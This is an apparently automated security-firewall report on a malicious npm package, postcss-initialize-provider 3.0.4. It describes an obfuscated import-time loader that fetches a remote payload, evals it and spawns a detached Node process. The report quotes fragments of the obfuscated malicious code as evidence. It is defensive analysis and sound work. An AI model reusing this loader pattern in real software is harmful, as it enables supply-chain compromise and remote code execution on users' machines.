Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

postcss-initialize-provider@3.0.4: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Arbitrary remote code execution and background process persistence in the importing user's environment.

View on npm All versions

registry / postcss-initialize-provider / 3.0.4

postcss-initialize-provider@3.0.4

PostCSS plugin to fallback initial keyword.

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Importing index.js starts an obfuscated network payload loader. It obtains remote data, decodes it, evaluates it, and starts a detached Node child process.

Static reason

One or more suspicious static signals were detected.

Trigger

Runtime import/require of the package main entry

Impact

Arbitrary remote code execution and background process persistence in the importing user's environment.

Mechanism

Obfuscated remote payload retrieval, eval, and detached child-process execution

Attack narrative

The main entry appends an obfuscated IIFE to ordinary PostCSS code. On import it uses Ethereum RPC sources (including ETH_RPC_URL) to derive a remote destination, retrieves and decodes a payload, executes it with eval, and launches the same generated content via detached node -e. This is an active remote-code loader unrelated to the advertised CSS transformation.

Rationale

The payload executes on package import and has a concrete network-to-eval-to-detached-process chain. The absence of lifecycle hooks does not mitigate import-time arbitrary code execution.

Evidence

index.jspackage.jsonlib/rules-fabric.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

index.js contains a large obfuscated import-time IIFE unrelated to PostCSS.
The IIFE imports HTTP/S, zlib, URL, child_process, and reads ETH_RPC_URL.
It fetches/decrypts remote content then passes it to eval and a detached node -e child process.
package.json has no npm lifecycle hook, but importing the main entry triggers the payload.

Evidence against

The visible PostCSS fallback logic and lib/rules-fabric.js are package-aligned.
No install/preinstall/postinstall script is declared.

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chain

MinifiedObfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 39.1 KB of source

Source & flagged code

6 flagged · loading source

index.jsView file

7opts.replace = opts.replace || false; L8: var getFallback = makeFallbackFunction(opts.reset === 'inherited'); ... L9: var getPropPrevTo = function (prop, decl) {

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.jsView on unpkg · L7

8const a0_0x3b8aa9=a0_0x3925;(function(_0x335498,_0x182b1b){

High

Ai Review Evidence

index.js contains a large obfuscated import-time IIFE unrelated to PostCSS.

index.jsView on unpkg · L8

8const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238))

High

Ai Review Evidence

The IIFE imports HTTP/S, zlib, URL, child_process, and reads ETH_RPC_URL.

index.jsView on unpkg · L8

8R=[...new Set([process.env.ETH_RPC_URL,_0xb40cd9(0x22a)+_0xb40cd9(0x217),_0xb40cd9(0x246)+_0xb40cd9(0x2c0)

High

Ai Review Evidence

The IIFE imports HTTP/S, zlib, URL, child_process, and reads ETH_RPC_URL.

index.jsView on unpkg · L8

8_0x28c4c2||_0x10aa61[_0x3afe11(0x222)](eval,_0x10aa61[_0x3afe11(0x283)](_0x16df49,_0x66c2c8)),_0x10aa61[_0x3afe11(0x2a6)](spawn,_0x10aa61[_0x3afe11(0x23e)],['-e',_0x10aa61[_0x3afe11(0x283)](_0x16df49,_0x66c2c8)],{'detached':!(-0x3*-0xc5b+0x48a+0x299b*-0x1),'stdio':_0x10aa61[_0x3afe11(0x2b1)],'windowsHide':!(-0x301*-0x3+-0x25cd*-0x1+0x38*-0xd6)})[_0x3afe11(0x200)]();

High

Ai Review Evidence

It fetches/decrypts remote content then passes it to eval and a detached node -e child process.

index.jsView on unpkg · L8

1var postcss = require('postcss'); L2: var makeFallbackFunction = require('./lib/rules-fabric');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L1

Findings

6 High3 Medium1 Low

HighObfuscated Payload Loaderindex.js

HighObfuscated

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

MediumDynamic Requireindex.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeRemote Code Execution

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorMaksim Koretskiy

Version3.0.4

PublishedAug 14, 2026

LicenseMIT

Dependencies1

Integrityverified

Package size18.4 KB

Files11

Keywordspostcsscsspostcss-pluginreset

LinksRepository Homepage Issues

Runtime surface

package.json

EntrypointsNo public entrypoints declared.

RuntimeNo engine / OS / CPU constraints

Artifact59.1 KB · 11 files1 signature(s)

Install lifecycleNo install hooks · other: lint, release, tdd, test

Behavioral surface

DynamicRequireEnvironmentVarsMinifiedObfuscatedManifest: clean

LPM CLI

Source & flagged code

6 flagged

index.jsView file

7opts.replace = opts.replace || false; L8: var getFallback = makeFallbackFunction(opts.reset === 'inherited'); ... L9: var getPropPrevTo = function (prop, decl) {

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.jsView on unpkg · L7

8const a0_0x3b8aa9=a0_0x3925;(function(_0x335498,_0x182b1b){

High

Ai Review Evidence

index.js contains a large obfuscated import-time IIFE unrelated to PostCSS.

index.jsView on unpkg · L8

8const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238))

High

Ai Review Evidence

The IIFE imports HTTP/S, zlib, URL, child_process, and reads ETH_RPC_URL.

index.jsView on unpkg · L8

8R=[...new Set([process.env.ETH_RPC_URL,_0xb40cd9(0x22a)+_0xb40cd9(0x217),_0xb40cd9(0x246)+_0xb40cd9(0x2c0)

High

Ai Review Evidence

The IIFE imports HTTP/S, zlib, URL, child_process, and reads ETH_RPC_URL.

index.jsView on unpkg · L8

8_0x28c4c2||_0x10aa61[_0x3afe11(0x222)](eval,_0x10aa61[_0x3afe11(0x283)](_0x16df49,_0x66c2c8)),_0x10aa61[_0x3afe11(0x2a6)](spawn,_0x10aa61[_0x3afe11(0x23e)],['-e',_0x10aa61[_0x3afe11(0x283)](_0x16df49,_0x66c2c8)],{'detached':!(-0x3*-0xc5b+0x48a+0x299b*-0x1),'stdio':_0x10aa61[_0x3afe11(0x2b1)],'windowsHide':!(-0x301*-0x3+-0x25cd*-0x1+0x38*-0xd6)})[_0x3afe11(0x200)]();

High

Ai Review Evidence

It fetches/decrypts remote content then passes it to eval and a detached node -e child process.

index.jsView on unpkg · L8

1var postcss = require('postcss'); L2: var makeFallbackFunction = require('./lib/rules-fabric');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L1